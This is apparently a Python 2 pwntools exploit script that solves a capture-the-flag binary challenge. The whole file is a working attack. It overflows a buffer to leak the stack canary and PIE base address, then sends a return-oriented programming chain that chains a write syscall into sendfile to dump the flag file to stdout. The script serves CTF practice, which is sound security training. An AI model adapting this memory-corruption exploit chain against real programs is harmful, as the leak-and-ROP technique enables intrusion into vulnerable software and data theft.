#!/usr/bin/python2

from pwn import *

p = process('./chall')
#p = remote('blakflag-01.pwn.beer', 45243)

with context.quiet:
    # Leak pie and canary (1)
    padding = "A"*152
    p.sendlineafter("flag (1/3): ", padding)
    p.recvuntil("it is not " + padding + "\n")
    leak = p.recvline()
    canary = u64(leak[0:7].rjust(8, chr(0x0)))
    pie = u64(leak[7:-1].ljust(8, chr(0x0))) - 0xf1e
    print "Got canary: %s" % hex(canary)
    print "Got pie: %s" % hex(pie)

    # Place ropchain (2)
    start = pie + 0xe3a
    pop_rdx_rdi_rsi = pie + 0x0000000000000f93
    syscall_write = pie + 0x0000000000000f54
    pop_r10_rdx_rdi_rsi = pie+0x0000000000000f91
    arb_syscall = pie + 0x0000000000000f50

    p.sendlineafter("flag (2/3): ", 
        padding +
        p64(canary) + 
        ("A"*8)+
        p64(pop_rdx_rdi_rsi) +
        p64(0x28) + p64(0x2) + p64(start) +         # sys_write: Write 0x28 bytes from pointer ("start") to stderr
        p64(syscall_write) +                        # Return value (rax) is set to 0x28 
        p64(pop_r10_rdx_rdi_rsi) + 
        p64(0x40) + p64(0x0) + p64(0x1) + p64(0x3)+ # sys_sendfile: Copy 0x40 bytes from flag fd to stdout, with offset set to NULL
        p64(arb_syscall)                            # Give flag plz!
    )

    # Use up the last attempt (3) -> trigger ropchain
    p.sendlineafter("flag (3/3): ", "Lol")
    
    p.recvuntil("SECT")
    print "SECT%s" % p.recvline()
